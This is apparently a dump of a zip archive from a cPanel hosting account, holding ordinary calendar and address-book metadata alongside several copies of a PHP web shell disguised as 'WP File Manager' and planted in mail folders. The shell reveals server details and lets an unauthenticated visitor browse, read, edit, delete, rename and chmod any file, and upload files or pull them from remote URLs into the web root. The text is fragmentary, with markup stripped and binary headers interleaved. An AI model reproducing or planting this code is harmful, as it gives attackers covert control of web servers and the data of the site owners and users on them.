"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ë"romania@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{],ÁqBBitaly@drsupernova.com/.metadatanu"º] €[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 type VCALENDAR PK’&{]`ìpBBinfo@hekurangashi.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c PK’&{]„N9³§Ë§Ëinfo@hekurangashi.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

